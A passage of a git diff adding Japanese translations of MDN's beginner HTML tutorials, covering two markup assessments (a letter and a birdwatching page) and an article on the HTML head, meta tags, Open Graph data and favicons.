href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a> の記事で扱ってきてない多くの要素があります。ここでの要素はあまり知られてないですが、知っておくと役立ちます。ここでは引用や、説明リストや、コンピューターのコードや関連するテキスト、下付き上付きや、連絡先情報などのマークアップを学習します。</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">ドキュメントとウェブサイトの構造</a></dt> + <dd>ページの個々の部分 (例えば「パラグラフ」や「画像」) を定義するのと同様に、ウェブサイトのエリアも (例えば「ヘッダー」、「ナビゲーションメニュー」、「本文のカラム」) HTML で定義されます。この記事では基本的なウェブサイトの構造を計画する方法と、構造を表現する HTML を書く方法を見て行きます。</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTMLをデバッグする</a></dt> + <dd>HTML を書くのは良いですが、うまくいかなくて、コードのエラーが収まらない場合はどうでしょうか？この記事では手助けとなるいくつかのツールを紹介します。</dd> +</dl> + +<h2 id="評価">評価</h2> + +<p>以下の評価で、上記のガイドにある HTML 基礎の理解をテストできます。</p> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">手紙をマークアップする</a></dt> + <dd>早かれ遅かれ、手紙を書くことを学びます; これはテキストフォーマットの技術をテストするのにも役立ちます！この評価ではマークアップすべき手紙が与えられます。</dd> + <dt><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">コンテンツページを構造化する</a></dt> + <dd>この評価では、ヘッダー・フッター・ナビゲーションメニュー・メインコンテンツ・サイドバーを含む、簡単なコンテンツページを構造化する HTML の能力をテストします。</dd> +</dl> + +<h2 id="関連情報">関連情報</h2> + +<dl> + <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Web literacy basics 1</a></dt> + <dd><em>HTML 概論</em>のモジュールで話されたたくさんのスキルを見て回ったりテストしたりできる、素晴らしい Mozilla ファウンデーションのコースです。学習者はこの6つのモジュールにて Web について読んだり書いたり参加したりするのに慣れていきます。製作と共同作業を通じて Web の基礎を発見してください。</dd> +</dl> diff --git a/files/ja/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/ja/learn/html/introduction_to_html/marking_up_a_letter/index.html new file mode 100644 index 0000000000..055a2afb5d --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/marking_up_a_letter/index.html @@ -0,0 +1,105 @@ +--- +title: 手紙をマークアップする +slug: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +tags: + - Beginner + - CodingScripting + - HTML + - head + - テキスト + - リンク + - 評価 +translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +--- +<div> +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</div> +私たちはみんな遅かれ早かれ手紙を書くことを学びます。 + +<p class="summary">テキストの書式設定のスキルを試すのも便利な例です。この課題では、ハイパーリンクを含む基本的な HTML テキストフォーマットスキルと高度な HTML テキストフォーマットスキルをテストするためにマークアップするための文字が与えられます。さらに HTML <code><head></code> コンテンツに対するあなたの慣れをテストします。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>このアセスメントを試みる前に、「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML を始めよう</a>」、「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">head には何が入る? HTML のメタデータ</a>」、「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a>」、「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクの作成</a>」、および「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高度なテキスト処理</a>」をすでに読んでおく必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>基本的な HTML テキストの書式設定とハイパーリンクのスキル、および HTML <head> の内容に関する知識をテストします。</td> + </tr> + </tbody> +</table> + +<h2 id="スタートポイント">スタートポイント</h2> + +<p>この課題を開始するには、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt">マークアップする必要がある生のテキスト</a>と、HTML に<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt">含める必要がある CSS</a> を入手します。テキストエディタを使用して新しい <code>.html</code> ファイルを作成し、作業を行います (または、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> などのサイトを使用して課題を行います)。</p> + +<h2 id="簡単なプロジェクト">簡単なプロジェクト</h2> + +<p>このプロジェクトの場合、あなたの仕事は大学のイントラネットでホストされる必要がある手紙をマークアップすることです。手紙は、大学で働くことへの申し込みに関する研究フェローから博士課程の学生への返事です。</p> + +<p>ブロック/構造セマンティクス</p> + +<ul> + <li>ドキュメント全体を doctype、{{htmlelement("html")}}、{{htmlelement("head")}}、{{htmlelement("body")}} 要素を含む適切な構造で構成する必要があります。</li> + <li>一般的な手紙は、以下の点を除いて、段落と見出しの構造でマークアップされるべきです。トップレベルの見出し ("Re:" 行) が1つと、セカンドレベルの見出しが3つあります。</li> + <li>学期の開始日、研究科目、そしてエキゾチックな踊りは適切なリストタイプを使ってマークアップされるべきです。</li> + <li>2つのアドレスは段落の中に入れることができます。{{htmlelement("address")}} 要素はそれらには適していません — その理由を考えてください。さらに、アドレスの各行は新しい行の上に配置する必要がありますが、新しい段落には配置しないでください。</li> +</ul> + +<p>インラインセマンティクス:</p> + +<ul> + <li>送信者と受信者の名前 (および "Tel" と "Email") は、非常に重要なものとしてマークアップする必要があります。</li> + <li>文書内の4つの日付には、機械が読める日付を含む適切な要素を指定する必要があります。</li> + <li>手紙の最初のアドレスと最初の日付には、"sender-column" のクラス属性値を指定する必要があります。後で追加する CSS では、従来の手紙のレイアウトの場合と同様に、これらが正しく配置されます。</li> + <li>文字の本文中の5つの頭字語/略語は、それぞれの頭字語/略語を拡張するためにマークアップする必要があります。</li> + <li>6つの下付き/上付き文字は適切にマークアップする必要があります — 化学式、および 103 と 104 の数字 (それぞれ 10 のべき乗または 3 と 4 にする必要があります)。</li> + <li>テキストの中で少なくとも2つの適切な単語に強い重要性と強調を設定するようにしてください。</li> + <li>ハイパーリンクを追加する場所は2か所あります。タイトル付きの適切なリンクを追加してください。リンクが指す場所には http://example.com を使用してください。</li> + <li>大学のモットーのクォートと引用は適切な要素でマークアップされるべきです。</li> +</ul> + +<p>ドキュメントの head:</p> + +<ul> + <li>適切なメタタグを使用して、ドキュメントの文字コードを utf-8 として指定する必要があります。</li> + <li>手紙の作者は適切なメタタグで指定されるべきです。</li> + <li>提供された CSS は適切なタグの中に含まれるべきです。</li> +</ul> + +<h2 id="ヒントとコツ">ヒントとコツ</h2> + +<ul> + <li>HTML を検証するために <a href="https://validator.w3.org/">W3C HTML validator</a> を使用してください。検証すればボーナスポイントを得られるでしょう。</li> + <li>この課題をするために CSS を知る必要はありません。 提供された CSS を HTML 要素の中に入れるだけです。</li> +</ul> + +<h2 id="例">例</h2> + +<p>次のスクリーンショットは、マークアップ後の文字の表示例を示しています。</p> + +<p><img alt="Example" src="https://mdn.mozillademos.org/files/15811/Letter%20screengrab%202.png" style="border: 1px solid black; display: block; height: 1858px; margin: 0px auto; width: 931px;"></p> + +<h2 id="評価">評価</h2> + +<p>組織的コースの一環としてこの評価に従っている場合、採点のために作品を教師/メンターに渡すことができるはずです。もし自己学習しているのであれば、<a href="https://discourse.mozilla.org/t/marking-up-a-letter-assignment/24676">この練習問題についてのディスカッションスレッド</a>、または <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、非常に簡単にマーキングガイドを入手することができます。最初にエクササイズをしてみてください - 不正をすることによって得られるものは何もありません！</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/ja/learn/html/introduction_to_html/structuring_a_page_of_content/index.html new file mode 100644 index 0000000000..b434a3fea4 --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/structuring_a_page_of_content/index.html @@ -0,0 +1,107 @@ +--- +title: コンテンツページを構造化する +slug: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content +tags: + - Beginner + - CodingScripting + - HTML + - セマンティクス + - デザイン + - レイアウト + - 学習 + - 構造 + - 評価 +translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">CSS を使用してレイアウトできるようにコンテンツのページを構成することは、習得が非常に重要なスキルです。そのためこの評価では、ページがどのように表示されるのかを検討し、適切な構造セマンティクスを選択してその上にレイアウトを構築する能力についてテストします。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>この評価を試みる前に、「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">ドキュメントとWebサイトの構造</a>」に特に重点を置いて、コースの残りの部分を通してすでに学習していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>Web ページ構造の知識、および将来のレイアウト設計をマークアップで表現する方法をテストする。</td> + </tr> + </tbody> +</table> + +<h2 id="スタートポイント">スタートポイント</h2> + +<p>この評価を開始するには、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true">すべての開始アセットを含むzipファイル</a>を入手してください。 zip ファイルには以下が含まれています。</p> + +<ul> + <li>構造的マークアップを追加する必要がある HTML</li> + <li>マークアップをスタイルするための CSS</li> + <li>ページで使用されている画像</li> +</ul> + +<p>ローカルコンピュータで例を作成するか、あるいは <a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> などのサイトを使用して評価を行います。</p> + +<h2 id="プロジェクト概要">プロジェクト概要</h2> + +<p>このプロジェクトでは、あなたの仕事は、バードウォッチング Web サイトのホームページのコンテンツを取得し、それにページレイアウトを適用できるように構造要素を追加することです。持っている必要があるものは：</p> + +<ul> + <li>ページのメインタイトル、サイトのロゴ、およびナビゲーションメニューを含む、サイトの全幅にわたるヘッダ。スタイル設定が適用されるとタイトルとロゴが並べて表示され、ナビゲーションがそれら2つの項目の下に表示されます。</li> + <li>ウェルカムテキストを含むメインブロックと、画像のサムネイルを含むサイドバーの2つの列を含むメインコンテンツ領域。</li> + <li>著作権情報とクレジットを含むフッター。</li> +</ul> + +<p>以下に適したラッパーを追加する必要があります。</p> + +<ul> + <li>ヘッダー</li> + <li>ナビゲーションメニュー</li> + <li>メインコンテンツ</li> + <li>ウェルカムテキスト</li> + <li>画像サイドバー</li> + <li>フッター</li> +</ul> + +<p>また、する必要があることは：</p> + +<ul> + <li>開始時に提供された既存の CSS のすぐ下に別の{{htmlelement("link")}} 要素を追加して、提供された CSS をページに適用します。</li> +</ul> + +<h2 id="ヒント">ヒント</h2> + +<ul> + <li><a href="https://validator.w3.org/nu/">W3C Nu HTML Checker</a> を使用して HTML、CSS、および SVG の意図しないミス — 他の方法では見逃している可能性のあるミス — を修正できるようにします。</li> + <li>この評価をするために CSS を知る必要はありません。 提供された CSS を HTML 要素の中に入れるだけです。</li> + <li>提供されている CSS は、正しい構造要素がマークアップに追加されると、レンダリングされたページでそれらが緑色に見えるように設計されています。</li> + <li>行き詰って、どんな要素をどこに置くべきか想像できないならば、ページレイアウトの簡単なブロック図を描き、各ブロックを折り返すべきだと思う要素を書き留めることがしばしば役立ちます。</li> +</ul> + +<h2 id="例">例</h2> + +<p>次のスクリーンショットは、マークアップされた後のホームページの外観の例を示しています。</p> + +<p><img alt='The finished example for the assessment; a simple webpage about birdwatching, including a heading of "Birdwatching", bird photos, and a welcome message' src="https://mdn.mozillademos.org/files/12449/example-page.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="評価">評価</h2> + +<p>あなたが組織的コースの一環としてこの評価に従っている場合、採点のために作品を教師/メンターに渡すことができるはずです。もしあなたが自己学習しているのであれば、<a href="https://discourse.mozilla.org/t/structuring-a-page-of-content-assignment/24678">この練習問題についてのディスカッションスレッド</a>、または <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、非常に簡単にマーキングガイドを入手することができます。最初にエクササイズをしてみてください — 不正をすることによって得られるものは何もありません！</p> + +<p>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ja/learn/html/introduction_to_html/the_head_metadata_in_html/index.html new file mode 100644 index 0000000000..15394f6e79 --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -0,0 +1,292 @@ +--- +title: head には何が入る? HTML のメタデータ +slug: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - Meta + - favicon + - head + - lang + - metadata +translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">HTML の文書の {{glossary("Head", "head")}} 部分は、ページが読み込まれてもウェブブラウザーには表示されない部分です。この部分には、例えば、 {{htmlelement("title")}} といった情報や {{glossary("CSS")}} へのリンク (もし HTML を CSS で修飾したいならば)、独自のファビコンへのリンク、そしてほかのメタデータ (HTML を誰が書いたのかとかその HTML を表現する重要なキーワードなど) の情報を含んでいます。この記事では、上記のすべてのことと、さらに、読者にマークアップ言語と頭に入れておくべきほかのコードについてよい基礎を与えます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的な HTML の知識。 <a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML を始めよう</a>で扱うようなもの。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>HTML の head について学ぶこと。 head の目的は何か、そして head が含む情報の中で最も重要なのは何か、加えてそれが HTML 文書の中でどれほどの影響を持つか。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_the_HTML_head" name="What_is_the_HTML_head">HTML の head とは何か？</h2> + +<p><a href="/ja/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">前の記事で扱った HTML 文書</a>をもう一度見てみましょう。</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My test page</title> + </head> + <body> + <p>This is my page</p> + </body> +</html></pre> + +<p>HTML の head は {{htmlelement("head")}} 要素のコンテンツです — {{htmlelement("body")}} 要素のコンテンツ (これはブラウザーに読み込まれた時に表示されます) とは違っていて、head のコンテンツはページに表示されません。その代わり、head の仕事は文書の {{glossary("Metadata", "メタデータ")}} を含んでいます。上記の例では、head はとても小さいです。</p> + +<pre class="brush: html notranslate"><head> + <meta charset="utf-8"> + <title>My test page</title> +</head></pre> + +<p>しかし、大きなページでは、 head にたくさんの項目があることもあります — お気に入りのウェブサイトに移動して、<a href="/ja/docs/Learn/Discover_browser_developer_tools">ウェブ開発ツール</a>を使って head コンテンツを確認してみます。ここでの狙いは head に置くことのできるすべての使い方を示すことではなく、むしろ head に入れたくなるのが最も明らかなものの使い方を教えて、なじんでもらうことです。始めましょう。</p> + +<h2 id="Adding_a_title" name="Adding_a_title">タイトルをつける</h2> + +<p>{{htmlelement("title")}} 要素についてはすでに見てきました — これは文書にタイトルを追加するのに使います。しかしこれは {{htmlelement("h1")}} 要素 (これは body コンテンツの最上位レベルの見出し(head)を追加します — 時々ページタイトルとしても参照されます) と混同されます。しかしこれらは別のものです!</p> + +<ul> + <li>{{htmlelement("h1")}} 要素はブラウザーに読み込まれた時にページに現れます — 一般的にページごとに 1 回使われて、ページコンテンツのタイトルをマークアップします (ストーリーのタイトルや、ニュースのヘッドラインや、使い方にふさわしいなんでも)。</li> + <li>{{htmlelement("title")}} 要素は (文書のコンテンツではなく) 全体の HTML 文書のタイトルを表すメタデータです。</li> +</ul> + +<h3 id="Active_learning_Inspecting_a_simple_example" name="Active_learning_Inspecting_a_simple_example">アクティブラーニング: 単純な例を検討する</h3> + +<ol> + <li>このアクティブラーニングを始めるのに、我々の GitHub リポジトリに移動して <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html page</a> のコピーをダウンロードして頂きたいです。これは次のいずれかでできます + + <ol> + <li>ページのコードをコピー&ペーストして、コードエディターの新規ファイルに入れて、ふさわしい場所に保存します</li> + <li>ページの "Raw" を押すと、新しいタブに生のコードが出ます。次に、ブラウザーメニューから <em>ファイル > 名前を付けて保存...</em> を選んで、ファイルの保存場所を選びます</li> + </ol> + </li> + <li>ファイルをブラウザーで開きます。このようなものが見えるでしょう: + <p><img alt="A simple web page with the title set to <title> element, and the <h1> set to <h1> element." src="https://mdn.mozillademos.org/files/12323/title-example.png" style="display: block; margin: 0 auto;"><h1> コンテンツが出ている場所と、<code><title></code> コンテンツが出ている場所がひと目で分かります!</p> + </li> + <li>自分のコードエディターで開いて、この要素を編集して、ブラウザーで再読み込みしてもよいです。楽しんでみてください。</li> +</ol> + +<p><code><title></code> 要素はいろいろな方法で使われます。例えば、ページのブックマーク (<em>ブックマーク > このページをブックマーク または Firefox の URL バーのスターアイコンにて</em>) してみると、提案されたブックマーク名として <code><title></code> コンテンツが記入されています。</p> + +<p><img alt="A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the <title> element " src="https://mdn.mozillademos.org/files/12337/bookmark-example.png" style="display: block; margin: 0 auto;"></p> + +<p><code><title></code> の内容は後述するように、コンテンツは検索結果にも使われます。</p> + +<h2 id="Metadata_the_<meta>_element" name="Metadata_the_<meta>_element">メタデータ: <meta>要素</h2> + +<p>メタデータはデータを説明するデータで、 HTML には文書にメタデータを追加する「公式な」方法があります — {{htmlelement("meta")}} 要素です。もちろん、この記事で話しているその他のものもメタデータと考えられます。ページの <head> に入る <code><meta></code> 要素にはさまざまな種類がありますが、この段階では、ややこしすぎるため、すべては説明しません。その代わり、よく見かけるいくつかのものを説明し、理解を与えます。</p> + +<h3 id="Specifying_your_documents_character_encoding" name="Specifying_your_documents_character_encoding">HTML文書の文字コードを指定する</h3> + +<p>上で見てきた例では、この行が含まれていました。</p> + +<pre class="brush: html notranslate"><meta charset="utf-8"></pre> + +<p>この要素は単に文書のキャラクターエンコーディングを指定しています — それは文書が使うことが許されるキャラクターセットです。<code>utf-8</code> はあらゆる言語からとてもたくさんの文字を含む汎用的なキャラクターセットです。つまりウェブページがあらゆる言語の表示を取り扱えるのです; このため、作成するすべてのウェブページにこれをセットするのが良いです！例えば、ページで英語と日本語を正しく扱うことができます:</p> + +<p><img alt="a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine," src="https://mdn.mozillademos.org/files/12343/correct-encoding.png" style="display: block; margin: 0 auto;">文字エンコーディングを、例えば <code>ISO-8859-1</code> (ラテン文字のアルファベットの文字セット) に指定すると、ページの表示はメチャクチャな見た目になります。</p> + +<p><img alt="a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly" src="https://mdn.mozillademos.org/files/12341/bad-encoding.png" style="display: block; height: 365px; margin: 0px auto; width: 604px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: ブラウザーによっては (例 Chrome) 自動的に正しくないエンコーディングを修正しますので、お使いのブラウザーによっては、この問題が見られないこともあります。それでもなお、その他のブラウザーでの問題を避けるため、とにかくページに <code>utf-8</code> エンコーディングを設定すべきです。</p> +</div> + +<h3 id="Active_learning_Experiment_with_character_encoding" name="Active_learning_Experiment_with_character_encoding">アクティブラーニング: 文字エンコーディングで実験する</h3> + +<p>これを試すには、<code><title></code> についての前の節で得たシンプルな HTML テンプレート (<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html page</a>) をもう一度見てみて、 meta charset の値を <code>ISO-8859-1</code> に変えて、日本語を追加してみます。私達の使ったコードは次のものです:</p> + +<pre class="brush: html notranslate"><p>Japanese example: ご飯が熱い。</p></pre> + +<h3 id="Adding_an_author_and_description" name="Adding_an_author_and_description">作成者と説明を追加する</h3> + +<p>多くの <code><meta></code> 要素は <code>name</code> と <code>content</code> 属性が含まれます:</p> + +<ul> + <li><code>name</code> は meta 要素の種類を指定します。含まれる情報の種類です。</li> + <li><code>content</code> は実際のメタコンテンツを指定します。</li> +</ul> + +<p>ページに入れるのが便利な 2 つのメタ要素は、ページの著者(author)を定義するものと、ページの説明(description)を与えるものです。例を見てみます:</p> + +<pre class="brush: html notranslate"><meta name="author" content="Chris Mills"> +<meta name="description" content="The MDN Web Docs Learning Area aims to provide +complete beginners to the Web with all they need to know to get +started with developing web sites and applications."></pre> + +<p>著者 (author) の指定はいくつかの点で役立ちます。コンテンツに関する質問があって問い合わせしたい場合、誰がそのページを書いたのかに答えられます。 CMS (コンテンツ管理システム) によっては自動的にページの作者の情報を抽出して、このような目的で利用するための機能があります。</p> + +<p>ページの内容に関連したキーワードを含む説明 (description) を指定すると、検索エンジンで行われる関連検索で、ページをより上位にできる可能性があるため役立ちます (この行為に対する用語は <a href="/ja/docs/Glossary/SEO">Search Engine Optimization</a> (検索エンジン最適化) または {{glossary("SEO")}}といいます)。</p> + +<h3 id="Active_learning_The_descriptions_use_in_search_engines" name="Active_learning_The_descriptions_use_in_search_engines">アクティブラーニング:検索エンジンにおける description の扱い</h3> + +<p>description は検索エンジンの結果ページにも使われます。練習でこれを見ていきましょう。</p> + +<ol> + <li><a href="https://developer.mozilla.org/ja/">Mozilla Developer Network のフロントページ</a>に移動します。</li> + <li>ページのソースを見ます (ページ上で右クリックまたは <kbd>Ctrl</kbd> を押しながらクリックして、コンテキストメニューからページのソースを表示を選びます)。</li> + <li>description の meta タグを見てみます。それはこのようなものです。 + <pre class="brush: html notranslate"><meta name="description" content="The MDN Web Docs site + provides information about Open Web technologies + including HTML, CSS, and APIs for both Web sites and + progressive web apps."></pre> + </li> + <li>ここでお好きな検索エンジンで "MDN Web Docs" を検索します (ここでは Google を使っています) 。 description の <code><meta></code> と <code><title></code> 要素のコンテンツが検索結果で使われています — 確かに値打ちがあります。 + <p><img alt='A Yahoo search result for "Mozilla Developer Network"' src="https://mdn.mozillademos.org/files/16074/mdn-search-result.png" style="border-style: solid; border-width: 1px; display: block; height: 982px; margin: 0px auto; width: 1302px;"></p> + </li> +</ol> + +<div class="note"> +<p><strong>メモ</strong>: Google ではメインの MDN ホームページリンクの下にいくつか MDN Web Docs のサブページが見えるでしょう— これはサイトリンクと呼ばれ、<a href="http://www.google.com/webmasters/tools/">Google's webmaster tools</a> で設定されます — これは Google 検索エンジンでサイトの検索結果を良くする方法です。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 多くの <code><meta></code> 機能はもう使われていません。例えば、 keyword の <code><meta></code> 要素 (<code><meta name="keywords" content="fill, in, your, keywords, here"></code>) — 検索エンジンが色々な検索用語と関連するページを決めるためのキーワードを与えると考えられています — は、スパマーが結果にバイアスをかける多数のキーワードを埋めるだけなので、検索エンジンから無視されます。</p> +</div> + +<h3 id="Other_types_of_metadata" name="Other_types_of_metadata">メタデータの他の種類</h3> + +<p>ウェブを旅するにつれ、他の種類のメタデータも見つかるでしょう。ウェブサイトで見る多くの機能はプロプライエタリな作成物で、使うことのできる特定の情報をあるサイト (例えば SNS) に与えます。</p> + +<p>例えば、 <a href="http://ogp.me/">Open Graph Data</a> は Facebook が開発した、ウェブサイトに豊富なメタデータを与えるメタデータプロトコルです。 MDN Web Docs のソースコードでは、次のようなものがあります。</p> + +<pre class="brush: html notranslate"><meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"> +<meta property="og:description" content="The Mozilla Developer Network (MDN) provides +information about Open Web technologies including HTML, CSS, and APIs for both Web sites +and HTML5 Apps. It also documents Mozilla products, like Firefox OS."> +<meta property="og:title" content="Mozilla Developer Network"></pre> + +<p>この効果として、 facebook で MDN Web Docs にリンクしたとき、リンクに画像と説明が表示されます。ユーザーにとってより便利になります。</p> + +<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Twitter も同様のプロプラエタリなメタデータを持ちます。 URL が twitter.com で表示される時に同様な効果となります。例えば。</p> + +<pre class="brush: html notranslate"><meta name="twitter:title" content="Mozilla Developer Network"></pre> + +<h2 id="Adding_custom_icons_to_your_site" name="Adding_custom_icons_to_your_site">サイトに自分の好きなアイコンをつける</h2> + +<p>もっとサイトデザインを豊かにするために、メタデータにカスタムアイコンを追加して、特定のコンテキストで表示されるようにすることができます。このうち最もよく使われるものが <strong>ファビコン</strong> (ブラウザーの「お気に入り」や「ブックマーク」の一覧を指すために使われる "favorites icon" の略) です。</p> + +<p>つつましいファビコンは何年も使われてきています。16ピクセル四方のアイコンが最初の種類であり、様々な場所で使われました。各ページを開いているブラウザータブの中や、ブックマークパネル内のブックマークページの隣でファビコン表示が見られるでしょう。</p> + +<p>ページにファビコンを追加するには:</p> + +<ol> + <li>サイトの index ページと同じディレクトリに、 <code>.ico</code> 形式で保存します (大半のブラウザーは <code>.gif</code> や <code>.png</code> のような、より一般的な形式のファビコンにも対応していますが、 ICO 形式を使えば Internet Explorer 6 以降の古いブラウザでも動作することが保証されます)。</li> + <li>HTML の {{HTMLElement("head")}} ブロックに下記の行を入れて参照します。 + <pre class="brush: html notranslate"><link rel="shortcut icon" href="favicon.ico" type="image/x-icon"></pre> + </li> +</ol> + +<p>ブックマークパネルでファビコンが表示される例です。</p> + +<p><img alt="The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it." src="https://mdn.mozillademos.org/files/12351/bookmark-favicon.png" style="display: block; margin: 0 auto;"></p> + +<p>最近では考慮するべきアイコンの種類がほかにもたくさんあります。例えば、 MDN Web Docs ホームページのソースコードには以下の行があります。</p> + +<pre class="brush: html notranslate"><!-- third-generation iPad with high-resolution Retina display: --> +<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png"> +<!-- iPhone with high-resolution Retina display: --> +<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png"> +<!-- first- and second-generation iPad: --> +<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png"> +<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --> 